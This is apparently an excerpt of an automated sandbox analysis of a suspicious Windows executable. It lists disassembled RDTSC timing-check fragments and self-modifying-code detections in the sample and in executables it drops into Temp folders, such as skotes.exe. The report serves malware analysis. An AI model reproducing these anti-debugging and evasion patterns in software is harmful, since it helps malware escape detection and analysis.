Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50405D9 second address: 50405DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50405DF second address: 5040644 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD84C765E1Ch 0x00000008 pushfd 0x00000009 jmp 00007FD84C765E22h 0x0000000e adc eax, 1B482038h 0x00000014 jmp 00007FD84C765E1Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d add eax, ecx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushfd 0x00000023 jmp 00007FD84C765E22h 0x00000028 jmp 00007FD84C765E25h 0x0000002d popfd 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040644 second address: 5040676 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD84CFDF730h 0x00000008 add ah, FFFFFFF8h 0x0000000b jmp 00007FD84CFDF72Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ecx 0x00000014 push edi 0x00000015 pop esi 0x00000016 pop edx 0x00000017 popad 0x00000018 mov ecx, dword ptr [ebp+08h] 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e mov dx, ax 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040676 second address: 50406CA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD84C765E26h 0x00000008 jmp 00007FD84C765E25h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ecx, 66E0C6F7h 0x00000015 popad 0x00000016 test ecx, ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD84C765E29h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50406CA second address: 50406D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50406D0 second address: 50406D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030393 second address: 50303D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF72Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ecx, 209D208Dh 0x00000010 pushfd 0x00000011 jmp 00007FD84CFDF72Ah 0x00000016 add si, E8A8h 0x0000001b jmp 00007FD84CFDF72Bh 0x00000020 popfd 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 jmp 00007FD84CFDF72Bh 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50303D9 second address: 50303DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50303DE second address: 503044D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD84CFDF735h 0x00000009 add ax, E376h 0x0000000e jmp 00007FD84CFDF731h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FD84CFDF730h 0x0000001a sbb si, 1098h 0x0000001f jmp 00007FD84CFDF72Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 sub esp, 2Ch 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FD84CFDF735h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503044D second address: 50304A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FD84C765E1Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 call 00007FD84C765E21h 0x00000016 jmp 00007FD84C765E20h 0x0000001b pop ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FD84C765E21h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50304A8 second address: 50304D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 pushad 0x00000009 mov ecx, 7D88FF39h 0x0000000e mov cx, 55F5h 0x00000012 popad 0x00000013 xchg eax, edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD84CFDF737h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50304D5 second address: 50304DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50304DB second address: 5030503 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF72Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD84CFDF734h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030503 second address: 5030509 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030509 second address: 503050D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503050D second address: 503053A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d pop ebx 0x0000000e pushfd 0x0000000f jmp 00007FD84C765E1Eh 0x00000014 sub al, 00000038h 0x00000017 jmp 00007FD84C765E1Bh 0x0000001c popfd 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503053A second address: 5030552 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD84CFDF734h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50305F1 second address: 50305F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50305F5 second address: 50305FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50305FB second address: 503061F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, cx 0x00000006 mov ah, 3Ch 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d jmp 00007FD84C765E1Bh 0x00000012 je 00007FD84C766002h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503061F second address: 503063A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF737h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503063A second address: 503064D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 mov ecx, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a lea ecx, dword ptr [ebp-14h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503064D second address: 5030651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030651 second address: 5030667 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50306E1 second address: 5030713 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF731h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD84CFDF738h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030713 second address: 5030717 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030717 second address: 503071D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030764 second address: 50307B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b jmp 00007FD84C765E26h 0x00000010 jg 00007FD8BD1D3B0Bh 0x00000016 jmp 00007FD84C765E20h 0x0000001b js 00007FD84C765E68h 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 mov dh, al 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50307B8 second address: 503081F instructions: 0x00000000 rdtsc 0x00000002 mov esi, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dx, C998h 0x0000000a popad 0x0000000b cmp dword ptr [ebp-14h], edi 0x0000000e jmp 00007FD84CFDF737h 0x00000013 jne 00007FD8BDA4D3E4h 0x00000019 pushad 0x0000001a mov al, 8Fh 0x0000001c pushfd 0x0000001d jmp 00007FD84CFDF731h 0x00000022 jmp 00007FD84CFDF72Bh 0x00000027 popfd 0x00000028 popad 0x00000029 mov ebx, dword ptr [ebp+08h] 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FD84CFDF735h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503081F second address: 503086E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 pushfd 0x00000007 jmp 00007FD84C765E23h 0x0000000c and ecx, 119581CEh 0x00000012 jmp 00007FD84C765E29h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b lea eax, dword ptr [ebp-2Ch] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FD84C765E1Dh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503086E second address: 50308F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD84CFDF737h 0x00000009 and ax, AC8Eh 0x0000000e jmp 00007FD84CFDF739h 0x00000013 popfd 0x00000014 jmp 00007FD84CFDF730h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, esi 0x0000001d jmp 00007FD84CFDF730h 0x00000022 push eax 0x00000023 jmp 00007FD84CFDF72Bh 0x00000028 xchg eax, esi 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FD84CFDF735h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50308F0 second address: 50308F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50309AC second address: 50309B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50309B2 second address: 503001E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FD8BD1D3AA1h 0x0000000f xor eax, eax 0x00000011 jmp 00007FD84C73F54Ah 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e cmp eax, 00000000h 0x00000021 setne cl 0x00000024 xor ebx, ebx 0x00000026 test cl, 00000001h 0x00000029 jne 00007FD84C765E17h 0x0000002b jmp 00007FD84C765F8Bh 0x00000030 call 00007FD850EDF0B5h 0x00000035 mov edi, edi 0x00000037 pushad 0x00000038 push edx 0x00000039 mov ecx, 4263F4B7h 0x0000003e pop esi 0x0000003f mov edi, 60665E90h 0x00000044 popad 0x00000045 push ebx 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007FD84C765E1Bh 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503001E second address: 5030080 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF739h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d call 00007FD84CFDF72Ch 0x00000012 mov cx, 7111h 0x00000016 pop eax 0x00000017 mov di, 5002h 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e jmp 00007FD84CFDF739h 0x00000023 xchg eax, ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FD84CFDF72Dh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030080 second address: 50300C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FD84C765E21h 0x0000000f xchg eax, ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD84C765E28h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50300C4 second address: 50300C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50300C8 second address: 50300CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50300CE second address: 50300ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF72Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], 55534552h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50300ED second address: 50300F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50300F1 second address: 50300F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50300F5 second address: 50300FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030CB0 second address: 5030CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030CB6 second address: 5030CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030CBA second address: 5030CF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007FD84CFDF732h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD84CFDF737h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030CF2 second address: 5030CF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030CF8 second address: 5030CFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030CFC second address: 5030D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [75AF459Ch], 05h 0x0000000f jmp 00007FD84C765E27h 0x00000014 je 00007FD8BD1C3AF3h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FD84C765E1Bh 0x00000023 add cl, FFFFFFDEh 0x00000026 jmp 00007FD84C765E29h 0x0000002b popfd 0x0000002c mov cx, 7EA7h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030D59 second address: 5030D5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030E17 second address: 5030E1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030E1B second address: 5030E1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030E1F second address: 5030E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030E4C second address: 5030E68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD84CFDF738h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030E68 second address: 5030E6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030E6C second address: 5030E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD84CFDF72Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030E82 second address: 5030EC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FD8BD1B990Ah 0x0000000f jmp 00007FD84C765E26h 0x00000014 cmp dword ptr [ebp+08h], 00002000h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FD84C765E1Ah 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030EC2 second address: 5030ED1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF72Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505077E second address: 50507DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD84C765E21h 0x00000009 and esi, 41F21776h 0x0000000f jmp 00007FD84C765E21h 0x00000014 popfd 0x00000015 mov bx, si 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c jmp 00007FD84C765E1Dh 0x00000021 xchg eax, ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FD84C765E28h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50507DC second address: 50507E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50507E2 second address: 505083A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push esi 0x0000000d mov di, 5240h 0x00000011 pop edi 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FD84C765E24h 0x00000019 or al, FFFFFF88h 0x0000001c jmp 00007FD84C765E1Bh 0x00000021 popfd 0x00000022 mov edi, esi 0x00000024 popad 0x00000025 popad 0x00000026 xchg eax, esi 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FD84C765E21h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505083A second address: 5050853 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 mov eax, ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD84CFDF72Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050853 second address: 5050859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050859 second address: 505085D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505085D second address: 5050886 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD84C765E25h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050886 second address: 505088D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 2Eh 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505088D second address: 50508A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov esi, dword ptr [ebp+0Ch] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD84C765E1Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50508A9 second address: 50508AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50508AF second address: 50508C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD84C765E1Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50508C0 second address: 50508F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007FD84CFDF72Dh 0x0000000f je 00007FD8BDA1D206h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD84CFDF738h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50508F9 second address: 5050908 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050908 second address: 505090E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505090E second address: 5050912 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050912 second address: 505093E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [75AF459Ch], 05h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD84CFDF739h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505093E second address: 5050944 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050944 second address: 5050960 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF72Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FD8BDA35269h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8DEF7F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AA48D5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8DEEB1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B089DF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A7D755 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Special instruction interceptor: First address: 1FDB71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Special instruction interceptor: First address: 1FDBAF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Special instruction interceptor: First address: 1FB6BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Special instruction interceptor: First address: 3C9F90 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Special instruction interceptor: First address: 4387B4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Special instruction interceptor: First address: EDE9C5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 80E9C5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Special instruction interceptor: First address: 81EF7F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Special instruction interceptor: First address: 9E48D5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Special instruction interceptor: First address: 81EEB1 instructions caused by: Self-modifying code
